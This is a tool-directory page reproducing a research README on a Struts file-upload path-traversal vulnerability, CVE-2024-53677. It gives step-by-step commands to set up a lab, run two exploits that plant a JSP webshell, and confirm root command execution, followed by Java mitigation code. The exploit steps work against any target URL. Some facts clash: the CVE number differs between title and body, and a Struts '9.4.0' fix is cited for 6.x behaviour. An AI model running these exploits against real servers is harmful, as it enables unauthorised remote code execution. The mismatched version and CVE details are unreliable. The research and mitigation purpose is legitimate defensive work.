Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
struts-uploader-vulnerability — Research of exploit options for CVE-2024-53667 and their remediation | Kitploit
Tools/GitHubGitHub/baburkin/struts-uploader-vulnerability
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubbaburkin/struts-uploader-vulnerability

struts-uploader-vulnerability

Research of exploit options for CVE-2024-53667 and their remediation

View Repository
43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-53677 — How the Exploit Works and How to Run It

Vulnerability summary

The flaw is in how Struts' FileUploadInterceptor hands off the uploaded filename to the action class. Normally the interceptor sanitizes the filename, but Struts also lets any multipart parameter be processed as an OGNL expression by the ParametersInterceptor. Sending top.UploadFileName (or uploadFileName[0] for multi-file actions) as a form field directly calls action.setUploadFileName(value) via OGNL, overriding whatever the interceptor set.

The action then writes the file with no path sanitization:

root@kitploit:~
String uploadDir = "webapps/ROOT/uploads";          // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName);  // no sanitization

Sending ../shell.jsp as the filename resolves to:

root@kitploit:~
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp          ← served at http://localhost:8080/shell.jsp

Uploading a JSP webshell there gives unauthenticated RCE.


Exploits being researched

There are two exploits being researched regarding this vulnerability:

  1. Lab Tomcat and exploit by EQSTLab
  2. Snyk vulnerability database

The Lab Tomcat application server, used as the target for both exploits, is taken from the first repository, and runs in a container (docker or podman).

Another exploit is provided in this repo as a Java version of poc.py, which originates from the second source.

The subtle difference between the two exploits is shown in the side-by-side comparison table at the end of this document.


Results of the investigation

Both exploits have been confirmed to work on Struts 6.3.0.2.

However, when we upgraded Struts to 6.8.0 or 6.9.0, the first exploit (CVE-2024-53677.py) stopped working - due to the fix in Struts 9.4.0.

The second exploit (StrutsExploitRunner) works on all versions 6.3.0.2, 6.8.0, 6.9.0, unless the exploitable application code is updated as advised below in the Mitigation section.

See the technical details of the investigation below.

Lab setup

Clone the first repo and change to its root directory:

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677

You will need docker (originally) or podman (used in our research) to build and run the exploited Lab Tomcat:

root@kitploit:~
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit

Run the exploit scripts as described below in a separate shell from the repo root directory with Python virtual env activated.


Using CVE-2024-53677.py

What it does

Uploads a JSP webshell to /upload.action using top.UploadFileName to inject a path-traversal filename. The hardcoded web-shell accepts commands via ?action=cmd&cmd=<command>.

Command

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp

-p is the value passed as top.UploadFileName. One ../ is enough to escape the uploads/ directory and land the file in the web root.

Verify RCE

root@kitploit:~
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

Note the required action=cmd parameter — the hardcoded webshell checks for it before running the command. Without it you get Unknown action. instead of output.

Upload a custom payload

root@kitploit:~
python CVE-2024-53677.py \
  -u http://localhost:8080/upload.action \
  -p ../shell.jsp \
  -f ./my_payload.jsp

Using StrutsExploitRunner

What it does

Targets /uploads.action (the multi-file variant) and sets uploadFileName[0] via OGNL to a path-traversal value. Same underlying bypass, different parameter name and action class.

Build the exploit jar

You will need JDK 17 or later to build and run the exploit (java binary should be in your PATH).

Run the following command in the root of this repo to build the executable uber-jar:

root@kitploit:~
./mvnw clean package

Run exploit

root@kitploit:~
java -jar target/exploit-1.0-SNAPSHOT.jar \
  -u http://localhost:8080 \
  --upload_endpoint /uploads.action \
  --paths .. \
  --filenames shell.jsp

--filenames pins the filename so you know where to fetch it. Without it the script generates random names that are printed in the output.

Verify RCE

The web-shell uploaded by this application uses the simpler ?cmd= interface:

root@kitploit:~
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

Mitigations for applications stuck on Struts 6.x

The canonical fix is upgrading to Struts 7.x, which reworked the file uploading mechanism completely. If that upgrade is blocked (JDK 8 compatibility, third-party dependency constraints), the mitigation below can be applied.


Sanitize the filename in the action class (highest impact, code-level)

This is the most robust fix because it works regardless of what any interceptor passes in. Strip all path components from the filename before building the destination path, then verify the resolved path is still inside the intended directory.

root@kitploit:~
import java.nio.file.Paths;

public String doUpload() {
    if (upload != null && upload.length() > 0) {
        try {
            File uploadDirectory = new File("/var/app/uploads");
            if (!uploadDirectory.exists()) uploadDirectory.mkdirs();

            // Strip any path components the attacker injected via top.UploadFileName
            String safeFileName = Paths.get(uploadFileName).getFileName().toString();

            File destFile = new File(uploadDirectory, safeFileName);

            // Confirm the resolved path is still inside the upload directory
            String canonicalDest = destFile.getCanonicalPath();
            String canonicalBase = uploadDirectory.getCanonicalPath();
            if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
                addActionError("Invalid upload path.");
                return ERROR;
            }

            // ... copy bytes as before

Paths.get("../shell.jsp").getFileName() returns shell.jsp, so even if top.UploadFileName delivers a traversal string, it is reduced to a plain filename before any I/O happens.

The same pattern applies to UploadsAction — apply it inside the for loop on each uploadFileName.get(i).


Side-by-side comparison

CVE-2024-53677.pyStrutsExploitRunner
Endpoint/upload.action/uploads.action
OGNL parametertop.UploadFileNameuploadFileName[0]
Action classUploadAction (single file)UploadsAction (multi-file)
Webshell call?action=cmd&cmd=<cmd>?cmd=<cmd>
Default path bugnone--paths default is too deep, override with ..
Download Tool